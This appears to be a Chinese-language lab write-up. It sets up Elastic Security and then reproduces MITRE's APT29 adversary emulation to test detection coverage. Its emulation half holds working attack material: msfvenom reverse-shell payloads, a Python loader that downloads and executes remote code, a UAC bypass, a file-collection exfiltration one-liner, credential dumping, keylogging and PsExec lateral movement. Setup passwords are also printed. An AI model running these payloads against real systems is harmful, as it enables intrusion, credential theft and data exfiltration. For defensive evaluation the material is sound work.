本文是我在探索和学习ATT&CK框架过程中,搭建本地实验环境的粗略过程。如果你也是跟着Elastic Stack官方文档无法搭建完成,不如回头翻一下我的这篇文章。

ATT&CK框架是什么相信大家都比较熟悉了这里我不做介绍了,选择部署Elastic 安全的原因有两个,一是在做红蓝对抗研究时缺少一款EDR产品用作行为分析和Bypass技术研究,二是Elastic 是唯一参加过ATT&CK官方的评估而且可以免费使用的。

Elastic Security介绍

Elastic Security在一个解决方案中将SIEM威胁检测功能与端点防护和响应功能结合在一起。这些分析和保护功能被Elasticsearch的速度和可扩展性所利用,使分析人员能够在损失和损失发生之前保护组织免受威胁。

Elastic Security提供以下安全优势和功能:

•用于识别攻击和系统错误配置的检测引擎

•用于事件分类和调查的工作空间

•交互式可视化以调查过程关系

•内置的案件管理和自动操作

•使用预建的机器学习异常作业和检测规则检测无特征的攻击

Elastic Security助力分析师防御、检测威胁,并就威胁做出响应。免费、开放的解决方案提供了 SIEM、Endpoint Security、威胁搜寻、云监测等功能。Elastic安全分为SIEM和Endpoint安全两个大“功能”。Elastic的终端安全方案主要由Elastic Agent(终端代理)、Elasticsearch(搜索和分析引擎)和Kibana(数据进行可视化)三大件。Elastic Agent是一种向所有主机添加对日志,指标和其他类型数据的监视的统一方法。单个代理使在整个基础架构中部署监视变得更加轻松快捷。代理程序的单一统一策略使添加新数据源的集成变得更加容易。Fleet在Kibana中提供了一个基于Web的UI,以添加和管理流行服务和平台的集成,以及管理Elastic Agent团队。集成提供了一种轻松的方法来添加新的数据源,此外,它们还附带了现成的资产,如仪表板,可视化效果和管道,可从日志中提取结构化字段。这使得在几秒钟内获得洞察变得更加容易。Elastic Security是Kibana的内置部分。要使用Elastic Security,您只需要部署一个Elastic Stack(一个Elasticsearch集群和Kibana)。

Elastic Security组件和工作流程

数据通过Beat模块和Elastic Endpoint Security代理集成从您的主机传送到Elasticsearch:

•Elastic Endpoint Security-弹性代理集成,可保护您的主机免受恶意软件的侵害并提供以下数据集:

•Windows:进程,网络,文件,DNS,注册表,DLL和驱动程序负载,恶意软件安全检测

•Linux / macOS:进程,网络,文件

•Beat模块:Beat是轻量级的数据托运者。Beat模块提供了一种从常见来源(例如云和操作系统事件,日志和指标)收集和解析特定数据集的方法。

Kibana中的Elastic Security应用程序用于管理检测引擎、Cases和Timeline,以及管理运行Endpoint Security的主机:

•检测引擎:通过以下方式自动搜索可疑的主机和网络活动:

•检测规则:定期搜索主机发送的数据(Elasticsearch索引)以查找可疑事件。发现可疑事件时,将生成检测警报。生成警报时,可以使用外部系统(例如Slack和电子邮件)来发送通知。您可以创建自己的规则并使用我们的预建规则。•例外:减少噪音并减少误报次数。异常与规则相关联,并在满足异常条件时阻止发出警报。值列表包含可用作异常条件一部分的源事件值。在主机上安装Elastic Endpoint Security后,您可以从Security应用程序将恶意软件例外直接添加到端点。•机器学习作业:自动异常检测主机和网络事件。每个主机都提供异常分数,并且可以与检测规则一起使用。•时间轴:用于调查警报和事件的工作区。时间轴使用查询和过滤器来深入分析与特定事件相关的事件。时间线模板附加到规则,并在调查警报时使用预定义的查询。时间线可以保存并与其他人共享,也可以附加到案例中。•案例:直接在Security应用程序中打开,跟踪和共享安全问题的内部系统。案例可以与外部票务系统集成。•管理:查看和管理运行Elastic Endpoint Security的主机。

开启Fleet

Elasticsearch(以下简称es)和Kibana的安装非常简单,此处省略……下面主要记录如何开启Fleet并配置SSL/TLS。

证书生成

使用Elast Agent需要开启SSL,为ES生成私钥和X.509证书。其他的Beats程序(filebeat、winlogbeat等)也都需要添加相应的SSL配置。

1.同时生成CA和服务器证书

elasticsearch-certutil.bat cert ca --pem --ip 10.0.0.X --name master --keep-ca-key --out certs.zip

1.crt 转换成 pem格式:

openssl x509 -in ca.crt -out ca.pem

其他Beats只需要ca.pem即可。Windows系统中安装ca.crt证书时手动选择将证书导出受信任的根颁发机构。Linux系统中将ca.pem复制到/etc/ssl/certs/目录下,运行update-ca-trust或update-ca-certificates。

妥善保管ca.key,再次生成证书时需要。

1.elasticsearch.yml配置增加如下:

    xpack.security.enabled: truexpack.security.http.ssl.enabled: truexpack.security.transport.ssl.enabled: truexpack.security.http.ssl.key: certs/master.keyxpack.security.http.ssl.certificate: certs/master.crtxpack.security.http.ssl.certificate_authorities: certs/ca.crtxpack.security.transport.ssl.key: certs/master.keyxpack.security.transport.ssl.certificate: certs/master.crtxpack.security.transport.ssl.certificate_authorities: certs/ca.crt

    1.kibana.yml配置修改elasticsearch.ssl.certificateAuthorities如下:

      elasticsearch.ssl.certificateAuthorities: [ "D:\\elk\\kibana-7.10.1-windows-x86_64\\config\\certs\\ca.crt" ]

      生成密码

      生成密码前,需要已经启动ES。

        PS D:\ELK\elasticsearch-7.10.1\bin> .\elasticsearch-setup-passwords.bat autoInitiating the setup of passwords for reserved users elastic,apm_system,kibana,kibana_system,logstash_system,beats_system,remote_monitoring_user.The passwords will be randomly generated and printed to the console.Please confirm that you would like to continue [y/N]y

        Changed password for user apm_systemPASSWORD apm_system = VfD5gOgdoJu3AeQCEk52

        PASSWORD kibana_system = bo7AkvpKixyU9wOzZ9ob

        Changed password for user kibanaPASSWORD kibana = bo7AkvpKixyU9wOzZ9ob

        Changed password for user logstash_systemPASSWORD logstash_system = I8D0VG5H1csHDatR7bmB

        Changed password for user beats_systemPASSWORD beats_system = Tyd1zP7T7a8WIF3fpZiR

        Changed password for user remote_monitoring_userPASSWORD remote_monitoring_user = Kn77JNDaNuUMyvBOOfxI

        Changed password for user elasticPASSWORD elastic = wRdchJt8yNAOX8WHdCE6 已改为password

        kibana-7.10.1 增加额外的配置,kibana.yml:

          elasticsearch.hosts: ["https://10.0.0.X:9200"]elasticsearch.username: "kibana_system"elasticsearch.password: "bo7AkvpKixyU9wOzZ9ob"

          xpack.fleet.enabled: truexpack.fleet.agents.tlsCheckDisabled: true xpack.encryptedSavedObjects.encryptionKey: "something_at_least_32_characters"xpack.security.enabled: true

          Beats配置

          winlogbeat、Filebeat等yaml格式的配置文件一般只需要添加或许该如下配置:

            output.elasticsearch: hosts: ["10.0.0.2:9200"] protocol: "https" username: "elastic" password: "password" ssl.certificate_authoritoes: "/home/ubuntu/ca/ca.pem"

            安装Elastic Agent

            Elastic Agent安装和注册已包含在Fleet中但是该功能目前处于Bata版本,官方文档也并不全。在agent的配置文件中写ssl配置根本不生效,好像代码还没有实现,而golang写的程序默认与系统的证书信任关系有关。所以在Windows上必须导入生成的ca.crt证书,必须是导入此计算机,不能是此用户。

            添加Agent

            从Fleet页面添加agent,自动生成注册命令。将elastic-agent安装包复制到目标系统,运行注册命令。

            .\elastic-agent.exe install -f --kibana-url=http://10.0.0.X:5601 --enrollment-token=d3dUQV9IWUJIOVlqUjN6OF9Za0k6MkJLYS1MQzhRSXViZzh5QmhhU3JlQQ==

            确认Agent状态

            需要确认三处:1. Status是Online,2. Data streams有数据,3. es的控制台实时日志没有报错。

            如果出现bad_certificate错误,再检查证书生成和安装的步骤和过程。

            查看Security/Overview是否有数据。

            开启检测规则

            Elastic Security的检测引擎规则已在GitHub上开源。开启规则需要手动点击每个要开启的规则,还好规则不多。

            使用Elastic

            Elastic Agent默认收集以下数据源:

            •Process - Linux, macOS, Windows•Network - Linux, macOS, Windows•File - Linux, macOS, Windows•DNS - Window•Registry - Windows•DLL and Driver Load - Windows•Security - Windows

            要用主机和网络安全事件发送到Elastic Security,需要在要从中提取安全事件的主机上安装和配置Beats:

            •Filebeat用于转发和集中日志和文件•Auditbeat用于收集安全事件•Winlogbeat用于集中Windows事件日志•Packetbeat用于分析网络活动

            可以使用Kibana UI或直接从命令行安装Beats。

            代理策略

            使用代理策略管理代理及其收集的数据。不同的操作系统可以使用集成应用不同,所以应创建不同的代理策略以应用于不同的系统。

            新建一个命名为Windows的策略,添加“Endpoint Security”,“windows”集成,安装并配置Sysmon。

            一个针对Windows系统的策略已配置完成。将策略下发给代理即可。

            后续

            在搭建完毕基本环境后,我们将在此环境中进行ATT&CK官方指导的APT29对手模拟。

            参考链接

            •https://www.elastic.co/guide/en/elasticsearch/reference/7.10/configuring-tls.html#node-certificates

            •https://www.elastic.co/guide/en/fleet/7.10/fleet-quick-start.html

            •https://www.elastic.co/cn/blog/configuring-ssl-tls-and-https-to-secure-elasticsearch-kibana-beats-and-logstash

            •https://github.com/elastic/kibana/issues/73483

            •https://www.elastic.co/cn/downloads/elastic-agent

            •https://www.elastic.co/guide/en/fleet/current/index.html

            •https://github.com/elastic/detection-rules


            在搭建完Elastic Security的环境后,我们尝试复现ATT&CK Evaluations中APT29的评估过程,已验证我们所搭建的环境是否满足需求。以下内容主要从自https://github.com/mitre-attack/attack-arsenal/,在本地复现过程中修改了部分内容。

            如果你有一套自认为还不错的SOC或SIEM,不妨在你的真实环境中使用以下评估方法进行成熟度评估。看看对ATT&CK框架的覆盖度能达到百分之多少,是否还存在可以提高的防御环节。

            评估环境准备

            ATT&CK给出的拓扑和系统要求。

            根据我们自己的Lab环境修改如下:

            IPOS-NameOS备注
            10.0.0.101PCWindows10 with Office 2019

            10.0.0.102PC1Windows10

            10.0.0.103PC2Windows10

            10.0.0.104PC3Windows10 with Office 2019

            10.0.0.100DC01DC Windows Server 2019 Datacenterapt.local
            10.0.0.200Team ServerPupy/Metasploit/PoshC2Kali
            10.0.0.199Redirector ServerSocatUbuntu18

            受害者系统准备

            1. 安装一个Windows Server 2019 Datacenter,一个Windows10 Pro 1903,然后克隆虚拟机。重新打开每个虚拟机运行Sysprep重置系统信息。安装包:ed2k://|file|cn_windows_server_2019_x64_dvd_4de40f33.iso|5086887936|7DCDDD6B0C60A0D019B6A93D8F2B6D31|/ ed2k://|file|cn_windows_10_business_edition_version_1903_updated_june_2019_x64_dvd_830837d9.iso|5032351744|DFF5FF3B87D209D16ECE7543255FA573|/2.修改计算机名、加入apt.local域3.新建jack、john两个域账户并添加到Domain Admin组,密码为Passw0rd!4.关闭自动更新,也可以加入域后通过组策略禁止更新。5.使用DefenderControl关闭Windows Defender。6.开启RDP,授予用户远程登陆权限。7.通过域组策略将UAC设置为从不通知。

            8.  通过组策略修改注册表以允许存储明文凭据

            参考:https://www.praetorian.com/blog/mitigating-mimikatz-wdigest-cleartext-credential-theft/?edition=2019

            9.     使用OfficeTools部署office 201910.安装Chrome浏览器11.每个PC都开启WinRM

              Enable-PSRemoting -ForceSet-Service WinRM -StartMode AutomaticGet-WmiObject -Class win32_service |Where-Object {$_.name-like"WinRM"}Set-Item wsman:\localhost\Client\TrustedHosts -value10.0.0.*Get-Item WSMan:\localhost\Client\TrustedHosts

              红队系统设置

              TeamServer

              IP:10.0.0.200

              1.安装Pupy (由于生成的exe无法正常工作,由Metasploit代替。)

                sudo docker image pull cyb3rward0g/docker-pupy:f8c829dd66449888ec3f4c7d086e607060bca892sudo docker tag cyb3rward0g/docker-pupy:f8c829dd66449888ec3f4c7d086e607060bca892 docker-pupysudo docker run --rm -it -p 1234:1234 docker-pupy python pupysh.pysudo docker run --rm -it -p 1234:1234 -v "/opt/payloads:/tmp/payloads" docker-pupy python pupysh.pysudo docker run --rm -it -p 1234:1234 -v "/opt/attack-platform:/tmp/attack-platform" docker-pupy python pupysh.py

                2.安装PoshC2

                  curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2/master/Install.sh | sudo bashsudo posh-project -n posh1sudo posh-config

                  3.克隆官方仓库 git clone https://github.com/mitre-attack/attack-arsenal.git4.从/ var / www / webdav提供的WebDAV共享服务

                    sudo apt install apache2sudo mkdir /var/www/webdavsudo chown -R www-data:www-data /var/www/sudo a2enmod davsudo a2enmod dav_fssudo vim /etc/apache2/sites-available/000-default.confsudo systemctl restart apache2.service

                    参考:https://www.digitalocean.com/community/tutorials/how-to-configure-webdav-access-with-apache-on-ubuntu-14-04

                    5.将有效负载复制到webdav共享

                      sudo cp ~/day1/payloads/python.exe /var/www/webdav/ cd /var/www/webdavsudo chown -R www-data:www-data python.exe

                      Redirector

                      IP:10.0.0.199

                      1.安装Socat Sudo apt install socat2.在Redirector上使用Socat设置端口转发: sudo socat TCP-LISTEN:443,fork TCP:10.0.0.200:443 & sudo socat TCP-LISTEN:1234,fork TCP:10.0.0.200:1234 & sudo socat TCP-LISTEN:8443,fork TCP:10.0.0.200:8443 &

                      第1天

                      Payload生成

                      关于红队有效载荷的说明 请参阅payload_configs.md,构建自己的Payload。所有新生成的payload在~/payloads/day1/目录下。

                      Payload1:cod.3aka3.scr

                      Pupy错误太多,使用metasploit替代 msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 -f exe LHOST=10.0.0.199 LPORT=1234 RC4PASSWORD=msf -o cod.3aka3.scr 然后在windows平台重命名,参考https://redcanary.com/blog/right-to-left-override/

                      Payload2:Privilege Escalation Payload (monkey.png)

                      msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.199 LPORT=443 --format psh -o meterpreter.ps1

                      在使用Invoke-PSImage合成图片和payload(选择的图片像素一定要大于脚本字节,以一个像素存放一个字节,生成的base64编码后的值替换步骤三里的!)

                        Import-Module .\Invoke-PSImage.ps1Invoke-PSImage -Script .\meterpreter.ps1 -Out .\monkey.png -Image .\1.jpg

                        sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:\Users\jack\Desktop\monkey.png");$o=a Byte[] 3840;(0..1)|%{foreach($x in(0..1919)){$p=$g.GetPixel($x,$_);$o[$_*1920+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3643]))# 修改图片路径

                        #Base64编码$text="sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:\Users\jack\Downloads\monkey.png");$o=a Byte[] 3840;(0..1)|%{foreach($x in(0..1919)){$p=$g.GetPixel($x,$_);$o[$_*1920+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3643]))"[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($text))

                        cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AEEAZABkAC0AVAB5AHAAZQAgAC0AQQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACQAZwA9AGEAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACIAQwA6AFwAVQBzAGUAcgBzAFwAagBhAGMAawBcAEQAbwB3AG4AbABvAGEAZABzAFwAbQBvAG4AawBlAHkALgBwAG4AZwAiACkAOwAkAG8APQBhACAAQgB5AHQAZQBbAF0AIAAzADgANAAwADsAKAAwAC4ALgAxACkAfAAlAHsAZgBvAHIAZQBhAGMAaAAoACQAeAAgAGkAbgAoADAALgAuADEAOQAxADkAKQApAHsAJABwAD0AJABnAC4ARwBlAHQAUABpAHgAZQBsACgAJAB4ACwAJABfACkAOwAkAG8AWwAkAF8AKgAxADkAMgAwACsAJAB4AF0APQAoAFsAbQBhAHQAaABdADoAOgBGAGwAbwBvAHIAKAAoACQAcAAuAEIALQBiAGEAbgBkADEANQApACoAMQA2ACkALQBiAG8AcgAoACQAcAAuAEcALQBiAGEAbgBkADEANQApACkAfQB9ADsAJABnAC4ARABpAHMAcABvAHMAZQAoACkAOwBJAEUAWAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABvAFsAMAAuAC4AMwA2ADQAMwBdACkAKQA=

                        Payload3:Persistence readme.txt

                        msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.199 LPORT=443 --format psh-cmd 生成的内容,替换payloads/SysinternalsSuite/readme.txt中816行的内容。

                        Payload4:javamtsup.exe

                        msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.199 LPORT=443 -f exe-service -o javamtsup.exe

                        Payload5:python.exe

                        msfvenom -p python/meterpreter/reverse_https LHOST=10.0.0.199 LPORT=8443 -o python.py 编辑python.py文件,保留base64解码后的内容,添加import imp

                          import zlib,base64,sys,impvi=sys.version_infoul=__import__({2:"urllib2",3:"urllib.request"}[vi[0]],fromlist=["build_opener","HTTPSHandler"])hs=[]if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3): import ssl sc=ssl.SSLContext(ssl.PROTOCOL_SSLv23) sc.check_hostname=False sc.verify_mode=ssl.CERT_NONE hs.append(ul.HTTPSHandler(0,sc))o=ul.build_opener(*hs)o.addheaders=[("User-Agent","Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko")]exec(zlib.decompress(base64.b64decode(o.open("https://10.0.0.199:8443/6BvQGFrYcU7EadF9pFikEAwLkBa1sLGV6TWrXtvxZLd6Pm_-FeXhgEgxLQgfwo1dKoy5e8UIhG2D1EpXfP8l8kg6GuOAMd_chLdrpDQrTHahqBKkbu3hEM_g94kQW0FG2u05ezCs-_").read())))

                          在Windows中编译,必须使用python3:pyinstaller -F python.py

                          使用Upx压缩:upx --brute python.exe

                          Payload 6:psvcersion.txt

                          需要提前修改psvcersion.txt中webdav信息。脚本里安装7zip4Powershell会超时导致命令失败,所以应该提前在受害者系统中安装7zip4Powershell。可能需要翻墙。删除psvcersion.txt第231行。

                          设置攻击平台,相关文件在~/payloads/day1/文件夹下:

                          1.从以下网址下载Chrome密码转储工具:https://github.com/adnan-alhomssi/chrome-passwords/raw/master/bin/chrome-passwords.exe2.从以下位置下载SysInternals zip文件夹:https://download.sysinternals.com/files/SysinternalsSuite.zip3.解压SysinternalsSuite.zip; 将以下文件复制到SysInternalsSuite目录中:a) readme.txt b) psversion.txt(修改webdav配置) c) chrome-passwords.exe(重命名为accessChk.exe) d) strings64.exe(从hostui.cpp编译)4.压缩修改的SysinternalsSuite文件夹

                          受害者设置

                          对于2个受害工作站:

                          1.以具有管理员权限的用户身份登录。2.PC安装英语并作为显示语言。3.验证用户在C:\Windows\Temp目录中具有读/写/执行权限4.安装7Zip4Powershell ,Powershell > Install-Module -Name 7Zip4Powershell -Force5.导入证书payloads/day1/shockwave.local.pfx,使用PowerShell导入证书:Import-PfxCertificate -Exportable -FilePath "shockwave.local.pfx" -CertStoreLocation Cert:\LocalMachine\My

                          开始

                          添加RTLO字符并将rcs.3aka3.doc放置在受害者桌面上。

                          Step 1 – 初始违规

                          最初的违规行为是合法用户单击(T1204)伪装成良性单词文档的可执行有效载荷(屏幕保护程序可执行文件)(T1036)。一旦执行,有效负载就使用RC4密码在端口1234(T1065)上创建C2连接。然后,攻击者使用活动的C2连接生成交互式cmd.exe(T1059)和powershell.exe(T1086)Shell。

                          1.A

                          TeamServer: $ sudo msfconsole

                          使用APT\jack登录到PC。双击桌面的3aka3.doc。这会将反向外壳发送到TeamServer服务器。

                          1.B

                          meterpreter > shell

                          C:\Users\jack\Desktop>powershell

                          PS C:\Users\jack\Desktop>

                          Step 2 - 快速收集和渗出

                          攻击者运行单行命令,以搜索文件系统中的文档和媒体文件(T1083,T1119),收集(T1005)并将内容压缩(T1002)为单个文件(T1074)。然后通过现有的C2连接来提取文件(T1041)。

                          2.A

                          PS >$env:APPDATA;$files=ChildItem -Path $env:USERPROFILE\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.ods,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.rar,*.docx,*.url,*.xlsx,*.pptx,*.ppsx,*.pst,*.ost,*psw*,*pass*,*login*,*jack*,*sifr*,*sifer*,*vpn,*.jpg,*.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -ExpandProperty FullName; Compress-Archive -LiteralPath $files -CompressionLevel Optimal -DestinationPath $env:APPDATA\Draft.Zip -Force

                          PS C:\Users\jack\Desktop> exit

                          C:\Users\jack\Desktop>exit

                          meterpreter >

                          2.B

                          meterpreter > download "c:\Users\jack\AppData\Roaming\Draft.zip" .

                          成功下载到TeamServer服务器。

                          Step 3 – 部署Stealth工具包

                          攻击者现在向受害者上载新的有效载荷(T1105)。有效负载是带有隐藏PowerShell脚本(T1027)的合法形成的图像文件。然后,攻击者通过用户帐户控制(UAC)旁路(T1122,T1088)提升特权,该旁路执行新添加的有效负载。使用HTTPS协议(T1071,T1032)在端口443(T1043)上建立了新的C2连接。最后,攻击者从注册表中删除特权升级的工件(T1112)。

                          3.A

                          新建一个终端运行msfconsole

                          [msf] >handler -H 0.0.0.0 -P 443 -p windows/x64/meterpreter/reverse_https

                          在上一个meterpreter shell中,将monkey.png上传到目标:

                          meterpreter >upload /home/kali/payloads/day1/monkey.png "C:\Users\jack\Downloads\monkey.png"

                          meterpreter>shell

                          meterpreter > powershell

                          meterpreter (PS C:\Users\jack\Desktop)>

                          3.B

                          meterpreter (PS C:\Users\jack\Desktop)> New-Item -Path HKCU:\Software\Classes -Name Folder -Force;

                          meterpreter (PS C:\Users\jack\Desktop)>New-Item -Path HKCU:\Software\Classes\Folder -Name shell -Force;

                          meterpreter (PS C:\Users\jack\Desktop)>New-Item -Path HKCU:\Software\Classes\Folder\shell -Name open -Force;

                          meterpreter (PS C:\Users\jack\Desktop)>New-Item -Path HKCU:\Software\Classes\Folder\shell\open -Name command -Force;

                          meterpreter (PS C:\Users\jack\Desktop)> Set-ItemProperty -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "(Default)"

                          当提示您输入值时,粘贴以下1-liner: powershell.exe -noni -noexit -ep bypass -window hidden -ec cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AEEAZABkAC0AVAB5AHAAZQAgAC0AQQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACQAZwA9AGEAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACIAQwA6AFwAVQBzAGUAcgBzAFwAagBhAGMAawBcAEQAbwB3AG4AbABvAGEAZABzAFwAbQBvAG4AawBlAHkALgBwAG4AZwAiACkAOwAkAG8APQBhACAAQgB5AHQAZQBbAF0AIAAzADgANAAwADsAKAAwAC4ALgAxACkAfAAlAHsAZgBvAHIAZQBhAGMAaAAoACQAeAAgAGkAbgAoADAALgAuADEAOQAxADkAKQApAHsAJABwAD0AJABnAC4ARwBlAHQAUABpAHgAZQBsACgAJAB4ACwAJABfACkAOwAkAG8AWwAkAF8AKgAxADkAMgAwACsAJAB4AF0APQAoAFsAbQBhAHQAaABdADoAOgBGAGwAbwBvAHIAKAAoACQAcAAuAEIALQBiAGEAbgBkADEANQApACoAMQA2ACkALQBiAG8AcgAoACQAcAAuAEcALQBiAGEAbgBkADEANQApACkAfQB9ADsAJABnAC4ARABpAHMAcABvAHMAZQAoACkAOwBJAEUAWAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABvAFsAMAAuAC4AMwA2ADQAMwBdACkAKQA=

                          meterpreter (PS C:\Users\jack\Desktop)> Set-ItemProperty -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute" -Force

                          当提示您输入值时,请按:[Enter]

                          查看是否正确:

                          Get-item -Path "HKCU:\Software\Classes\Folder\shell\open\command"

                          meterpreter (PS C:\Users\jack\Desktop)> exit

                          C:\Users\jack\Desktop> %windir%\system32\sdclt.exe

                          获得一个高权限的Meterpreter会话。

                          3.C

                          C:\Users\jack\Desktop> powershell

                          PS C:\Users\jack\Desktop> Remove-Item -Path HKCU:\Software\Classes\Folder* -Recurse -Force

                          PS C:\Users\jack\Desktop>exit

                          [meterpreter (CMD)] >exit

                          Step 4 – 防御逃避与发现

                          攻击者在产生交互式powershell.exe shell(T1086)之前,通过新的提升的访问权限上载了其他工具(T1105)。附加工具已解压缩(T1140),并放置在目标上以便使用。然后,攻击者枚举正在运行的进程(T1057)终止步骤1初始访问的进程,然后删除与该访问相关的各种文件(T1107)。最后,攻击者启动一个PowerShell脚本,该脚本执行各种侦察命令(T1083,T1033,T1082,T1016,T1057,T1063,T1069),其中一些是通过访问Windows API(T1106)完成的。

                          4.A

                          第二个终端的msfconsole

                          [msf] > sessions -i 1

                          [meterpreter] > upload /home/kali/payloads/day1/SysinternalsSuite.zip "C:\\Users\\jack\\Downloads\\SysinternalsSuite.zip"

                          [meterpreter] > execute -f powershell.exe -i -H

                          PS C:\Program Files\SysinternalsSuite> Expand-Archive -LiteralPath "C:\\Users\\jack\\Downloads\\SysinternalsSuite.zip" -DestinationPath "C:\\Users\\jack\\Downloads\\"

                          PS C:\Users\jack\Desktop> if (-Not (Test-Path -Path "C:\Program Files\SysinternalsSuite")) { Move-Item -Path C:\\Users\\jack\\Downloads\\SysinternalsSuite -Destination "C:\Program Files\SysinternalsSuite" }

                          PS C:\Users\jack\Desktop> cd "C:\Program Files\SysinternalsSuite\"

                          4.B PS C:\Program Files\SysinternalsSuite> Get-Process

                          PS C:\Program Files\SysinternalsSuite> Stop-Process -Id 4224 -Force

                          第一个终端的rc4会话关闭。

                          PS C:\Program Files\SysinternalsSuite> Gci $env:userprofile\Desktop

                          PS C:\Program Files\SysinternalsSuite> .\sdelete64.exe /accepteula "$env:USERPROFILE\Desktop\?cod.3aka3.scr"

                          PS C:\Program Files\SysinternalsSuite> .\sdelete64.exe /accepteula "$env:APPDATA\Draft.Zip"

                          PS C:\Program Files\SysinternalsSuite>.\sdelete64.exe /accepteula "$env:USERPROFILE\Downloads\SysinternalsSuite.zip"

                          PS C:\Program Files\SysinternalsSuite> Move-Item .\readme.txt readme.ps1

                          PS C:\Program Files\SysinternalsSuite>. .\readme.ps1

                          4.C

                          PS C:\Program Files\SysinternalsSuite> Invoke-Discovery

                          Step 5 – 持久性

                          攻击者通过创建新服务(T1050)和在Windows启动文件夹(T1060)中创建恶意有效负载,建立了两种不同的持久访问受害者的方法。

                          5.A

                          PS C:\Program Files\SysinternalsSuite> Invoke-Persistence -PersistStep 1

                          5.B

                          PS C:\Program Files\SysinternalsSuite> Invoke-Persistence -PersistStep 2

                          Step 6 - 凭证访问

                          攻击者使用重命名为伪装成合法实用工具(T1036)的工具访问存储在本地Web浏览器(T1081,T1003)中的凭据。然后,攻击者会收获私钥(T1145)和密码哈希(T1003)。

                          6.A

                          PS C:\Program Files\SysinternalsSuite> & "C:\Program Files\SysinternalsSuite\accesschk.exe"

                          6.B PS C:\Program Files\SysinternalsSuite> Get-PrivateKeys

                          PS C:\Program Files\SysinternalsSuite> exit

                          6.C

                          [meterpreter] >run post/windows/gather/credentials/credential_collector

                          Step 7 - 收集和渗出

                          攻击者收集屏幕截图(T1113),来自用户剪贴板的数据(T1115)和键盘记录(T1056)。然后,攻击者收集文件(T1005),将其压缩(T1002)和加密(T1022),然后再将其上传至攻击者控制的WebDAV共享(T1048)。

                          7.A

                          [meterpreter] >execute -f powershell.exe -i -H

                          PS C:\Program Files\SysinternalsSuite> cd "C:\Program Files\SysinternalsSuite"

                          PS C:\Program Files\SysinternalsSuite> Move-Item .\psversion.txt psversion.ps1

                          PS C:\Program Files\SysinternalsSuite>. .\psversion.ps1

                          PS C:\Program Files\SysinternalsSuite> Invoke-ScreenCapture;Start-Sleep -Seconds 3;View-Job -JobName "Screenshot"

                          键入文本并复制到剪贴板。

                          PS C:\Program Files\SysinternalsSuite>Get-Clipboard

                          PS C:\Program Files\SysinternalsSuite> Keystroke-Check

                          PS C:\Program Files\SysinternalsSuite>Get-Keystrokes;Start-Sleep -Seconds 15;View-Job -JobName "Keystrokes"

                          在受害者系统中,输入击键。

                          PS C:\Program Files\SysinternalsSuite> View-Job -JobName "Keystrokes"

                          PS C:\Program Files\SysinternalsSuite>Remove-Job -Name "Keystrokes" -Force

                          PS C:\Program Files\SysinternalsSuite>Remove-Job -Name "Screenshot" -Force

                          7.B

                          PS C:\Program Files\SysinternalsSuite>Invoke-Exfil

                          注意如果失败,请检查事都按照Payload生成中payload6描述的方式进行修改。手动安装7Zip4Powershell,脚本里会超时。这一步可以提前增加到环境准备里。

                          Step 8 - 横向运动

                          攻击者在创建与第二受害者的远程PowerShell会话之前,使用轻型目录访问协议(LDAP)查询来枚举域中的其他主机(T1018)。通过此连接,攻击者枚举了正在运行的进程(T1057)。接下来,攻击者将新的UPX打包有效负载(T1045,T1105)上载到第二受害者。通过先前使用的凭证(T1078)通过PSExec实用程序(T1077,T1035)在第二受害者上执行此新的有效负载。

                          8.A

                          切换至Meterpreter shell:

                          PS C:\Program Files\SysinternalsSuite> Ad-Search Computer Name *

                          PS C:\Program Files\SysinternalsSuite>Invoke-Command -ComputerName PC1 -ScriptBlock { Get-Process -IncludeUserName | Select-Object UserName,SessionId | Where-Object { $_.UserName -like "*\$env:USERNAME" } | Sort-Object SessionId -Unique } | Select-Object UserName,SessionId

                          这里要写主机名,而不是IP。需要提前远程桌面到第二受害者,因为需要一个非0的session提供横向移动。注意步骤8C的会话ID。

                          8.B

                          新建一个终端启动msfconsole

                          [msf] > handler -H 0.0.0.0 -P 8443 -p python/meterpreter/reverse_https

                          回到当前Meterpreter session:

                          PS C:\Program Files\SysinternalsSuite>Invoke-SeaDukeStage -ComputerName PC1

                          8.C

                          通过PSEXEC远程执行python.exe

                          PS C:\Program Files\SysinternalsSuite>.\PsExec64.exe -accepteula \\PC1 -u "apt.local\jack" -p "Passw0rd!" -i 5 "C:\Windows\Temp\python.exe"

                          获得一个meterpreter会话。

                          Step 9 – 收集

